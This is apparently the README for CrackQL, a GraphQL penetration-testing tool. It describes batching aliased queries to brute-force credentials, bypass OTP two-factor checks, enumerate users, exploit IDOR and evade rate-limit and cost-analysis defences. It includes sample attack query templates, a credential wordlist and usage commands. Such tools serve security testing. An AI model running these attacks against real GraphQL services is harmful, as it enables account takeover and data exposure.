CrackQL is a GraphQL password brute-force and fuzzing utility.

CrackQL is a versatile GraphQL penetration testing tool that exploits poor rate-limit and cost analysis controls to brute-force credentials and fuzz operations.

• How it works
• Attack Use Cases
  • Defense Evasion
  • Password Spraying Brute-forcing
  • Two-factor Authentication OTP Bypass
  • User Account Enumeration
  • Insecure Direct Object Reference
  • General Fuzzing
• Inputs
• Installation
• Configurations
• Maintainers
• Mentions

CrackQL works by automatically batching a single GraphQL query or mutation into several alias operations. It determines the number of aliases to use based on the CSV input variables. After programmatically generating the batched GraphQL document, CrackQL then batches and sends the payload(s) to the target GraphQL API and parses the results and errors.

CrackQL can be used for a wide range of GraphQL attacks since it programmatically generates payloads based on a list of dynamic inputs.

Unlike Burp Intruder which sends a request for each unique payload, CrackQL evades traditional API HTTP rate-limit monitoring defenses by using multiple alias queries to stuff large sets of credentials into single HTTP requests. To bypass query cost analysis defenses, CrackQL can be optimized into using a series of smaller batched operations (-b) as well as a time delay (-D).

CrackQL is perfect against GraphQL deployments that leverage in-band GraphQL authentication operations (such as the GraphQL Authentication Module). The below password spraying example works against DVGA with the sample-inputs/users-and-passwords.csv dictionary.

sample-queries/login.graphql

mutation {
  login(username: {{username|str}}, password: {{password|str}}) {
    accessToken
  }
}

It is possible to use CrackQL to bypass two-factor authentication by sending all OTP (One Time Password) tokens

sample-queries/otp-bypass.graphql

mutation {
  twoFactor(otp: {{otp|int}}) {
    accessToken
  }
}

CrackQL can also be used for enumeration attacks to discover valid user ids, usernames and email addresses

sample-queries/enumeration.graphql

query {
  signup(email: {{email|str}}, password: {{password|str}}) {
    user {
      email
    }
  }
}

CrackQL could be used to iterate over a large number of potential unique identifiers in order to leak object information

sample-queries/idor.graphql

query {
  profile(uuid: {{uuid|int}}) {
    name
    email
    picture
  }
}

CrackQL can be used for general input fuzzing operations, such as sending potential SQLi and XSS payloads.

CrackQL will generate payloads based on input variables defined by a CSV file. CrackQL requires the CSV header to match the input name.

sample-inputs/usernames_and_passwords.csv

username, password
admin, admin
admin, password
admin, pass
admin, pass123
admin, password123
operator, operator
operator, password
operator, pass
operator, pass123
operator, password123

• str
• int
• float

• Python3
• Requests
• GraphQL
• Jinja

git clone [email protected]:nicholasaleks/CrackQL.git

pip install -r requirements.txt

python3 CrackQL.py -h

Usage: python3 CrackQL.py -t http://example.com/graphql -q sample-queries/login.graphql -i sample-inputs/usernames_and_passwords.csv

Options:
  -h, --help            show this help message and exit
  -t URL, --target=URL  Target url with a path to the GraphQL endpoint
  -q QUERY, --query=QUERY
                        Input query or mutation operation with variable
                        payload markers
  -i INPUT_CSV, --input-csv=INPUT_CSV
                        Path to a csv list of arguments (i.e. usernames,
                        emails, ids, passwords, otp_tokens, etc.)
  -d DELIMITER, --delimiter=DELIMITER
                        CSV input delimiter (default: ",")
  -o OUTPUT_DIRECTORY, --output-directory=OUTPUT_DIRECTORY
                        Output directory to store results (default:
                        ./results/[domain]_[uuid]/
  -b BATCH_SIZE, --batch-size=BATCH_SIZE
                        Number of batch operations per GraphQL document
                        request (default: 100)
  -D DELAY, --delay=DELAY
                        Time delay in seconds between batch requests (default:
                        0)
  --verbose             Prints out verbose messaging
  -v, --version         Print out the current version and exit.

Use config.py to set HTTP cookies, headers or proxies if the endpoint requires authentication.

• Nick Aleks
• Dolev Farhi

• Kitploit